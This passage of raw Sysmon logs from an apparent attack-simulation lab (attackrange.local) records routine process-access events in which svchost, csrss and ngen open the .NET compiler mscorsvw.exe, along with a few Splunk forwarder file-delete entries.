svc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.337{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F84-613B-7D0A-00000000F001}6636C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.317{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F84-613B-7D0A-00000000F001}6636C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.317{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F84-613B-7D0A-00000000F001}6636C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.993{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F85-613B-930A-00000000F001}1368C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.977{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F85-613B-930A-00000000F001}1368C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.977{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F85-613B-930A-00000000F001}1368C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.946{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F85-613B-920A-00000000F001}5840C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.930{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F85-613B-920A-00000000F001}5840C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.930{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F85-613B-920A-00000000F001}5840C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014008Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:25.107{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B60FE4F31D986FA8D714E0B8B88BAE0B,SHA256=AAD2BE13A32DAEC9BA614FF3B05384EF1B34072F24DC89E0A434C71A078E3088,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.899{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F85-613B-910A-00000000F001}5036C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.883{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F85-613B-910A-00000000F001}5036C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.883{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F85-613B-910A-00000000F001}5036C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.821{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F85-613B-900A-00000000F001}6904C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.805{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F85-613B-900A-00000000F001}6904C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.805{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F85-613B-900A-00000000F001}6904C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.774{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F85-613B-8F0A-00000000F001}2380C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.758{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F85-613B-8F0A-00000000F001}2380C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.758{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F85-613B-8F0A-00000000F001}2380C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.711{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F85-613B-8E0A-00000000F001}5344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.696{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F85-613B-8E0A-00000000F001}5344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.696{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F85-613B-8E0A-00000000F001}5344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.664{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2210853D92913207279153C729E5AB0A,SHA256=208AFF430444468A5A32FA7B8AB62247E158E2900B1BCC02E32196E4CEBC4029,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.649{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F85-613B-8D0A-00000000F001}5804C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\